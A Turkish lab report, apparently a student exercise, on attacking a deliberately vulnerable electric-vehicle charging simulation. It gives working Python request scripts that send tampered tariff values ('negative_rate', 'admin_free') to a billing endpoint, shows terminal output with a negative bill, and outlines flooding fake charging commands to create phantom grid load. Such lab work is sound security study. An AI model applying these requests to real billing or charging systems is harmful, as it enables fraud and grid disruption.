

Fatura Anomalisi Üzerinden "Hayalet Araç" ve Şebeke Manipülasyonu

Senaryo ID: merve-billing

Hazırlayan: Merve

Platform: EVCS Anomaly Simulation Platform

Tarih: 25-12-2025

1. GİRİŞ

Bu rapor, Elektrikli Araç Şarj İstasyonları (EVCS) simülasyon altyapısına yönelik gerçekleştirilen çok aşamalı bir saldırıyı konu almaktadır. Saldırı, faturalandırma mekanizmasındaki bir zafiyeti kullanarak sisteme sızmayı ve ardından şebekede fiziksel karşılığı olmayan "Hayalet Araç" yükleri oluşturmayı amaçlar

2. TEORİK ARKA PLAN

2.1. Fatura ve Query Exploit Zafiyeti

Sistem, tariff_id parametresini istemci (client) tarafından kontrol edilebilir şekilde kabul etmektedir. Bu durum, saldırganın yetkisiz tarifeler (ücretsiz veya negatif oranlı) tanımlayarak fatura hesaplama mantığını bozmasına olanak tanır.

2.2. Hayalet Araç (Ghost/Phantom Vehicle) Nedir?

Saldırganın, fiziksel olarak bir şarj kablosu takılı olmadığı halde, sahte oturum verileri göndererek şebekeyi yüke sokması durumudur. Bu saldırı, yönetim platformlarının doğrulanmamış telemetri verilerini kabul etmesiyle mümkün hale gelir

3. SİSTEM VE SENARYO TANIMI

3.1. Simülasyon Ortamı

- **Arayüz:** <https://simulasyon.vercel.app>
- **Backend:** <https://evcs-backend-samet.onrender.com>
- **Hedef Uç Nokta (Endpoint):** /vulnerable/calculate-bill

3.2. Sızma Kodları (Exploit Scripts)

Saldırı iki temel script üzerinden gerçekleştirilmiştir:

A. merve_saldiri.py - Negatif Oran Girişi:

```
params = {  
    "session_id": "MERVE-ANOMALY-999",  
    "energy_kwh": 999999,  
    "tariff_id": "negative_rate"  
}
```

B. attack_bill.py - Yetkisiz Admin Erişimi:

```
params = {  
    "session_id": "SESS-ATTACK-1",  
    "energy_kwh": 50,  
    "tariff_id": "admin_free"  
}
```

4. SALDIRI YÖNTEMİ VE SİMÜLASYONUN KIRILMASI

4.1. Adım 1: Keşif ve Yetki Aşımı

Saldırgan, API uç noktalarını tespit ederek calculate-bill servisine manipüle edilmiş parametreler göndermiştir. negative_rate girişi ile sistemin bakiye/fatura mantığı kırılarak backend üzerinde anomali yaratılmıştır.

4.2. Adım 2: Hayalet Yük Oluşturma

Sızma sonrası, sisteme binlerce sahte "startCharging" komutu gönderilerek, şebekede "beklenmedik düşük voltaj" (Unexpected Low Voltage) sinyalleri oluşturulmuştur.

5. DENEYSEL SONUÇLAR

5.1. Terminal Çıktıları

Saldırı sırasında sistemden alınan yanıtlar zafiyeti kanıtlamaktadır:

```
PS C:\Users\merve\desktop\test> py merve_saldiri.py
FATURA DOLANDIRICILIĞI - QUERY EXPLOIT
STATUS CODE: 200
RAW RESPONSE:
{"session_id": "MERVE-ANOMALY-999", "energy_kwh": 999999.0, "tariff_id": "negative_rate", "rate_per_kwh": -2.0, "total_cost": -1999998.0, "vulnerability": "Client-controlled tariff selection!", "exploit": "Use 'admin_free' or 'negative_rate' for profit"}
PARSED JSON: {'session_id': 'MERVE-ANOMALY-999', 'energy_kwh': 999999.0, 'tariff_id': 'negative_rate', 'rate_per_kwh': -2.0, 'total_cost': -1999998.0, 'vulnerability': 'Client-controlled tariff selection!', 'exploit': 'Use 'admin_free' or 'negative_rate' for profit'}
PS C:\Users\merve\desktop\test> |
```

6. POTANSİYEL ETKİLER

- **Şebeke İstabilitesi:** Gerçekte yük olmadığı halde şebeke koruma mekanizmalarının gereksiz tetiklenmesi.
- **Finansal Zarar:** Yanlış faturalandırma ve enerji alım/satım hataları.
- **Yanıtıcı İzleme:** SCADA sistemlerinin sahte yük verileriyle yanlış kararlar alması.

```

import requests

print("🚧 FATURA DOLANDIRICILIĞI - QUERY EXPLOIT TEST")

url = "https://evcs-backend-samet.onrender.com/vulnerable/calculate-bill"

params = {
    "session_id": "SESS-ATTACK-1",
    "energy_kwh": 50,
    "tariff_id": "admin_free"
}

r = requests.post(url, params=params)

print("STATUS CODE:", r.status_code)
print("RESPONSE JSON:")
print(r.json())

```

```

import requests

print("🚧 FATURA DOLANDIRICILIĞI - QUERY EXPLOIT")

url = "https://evcs-backend-samet.onrender.com/vulnerable/calculate-bill"

params = {
    "session_id": "MERVE-ANOMALY-999",
    "energy_kwh": 999999,
    "tariff_id": "negative_rate"
}

response = requests.post(url, params=params)

print("STATUS CODE:", response.status_code)
print("RAW RESPONSE:")
print(response.text)

try:
    print("PARSED JSON:", response.json())
except Exception:
    print("⚠️ JSON parse edilemedi")

```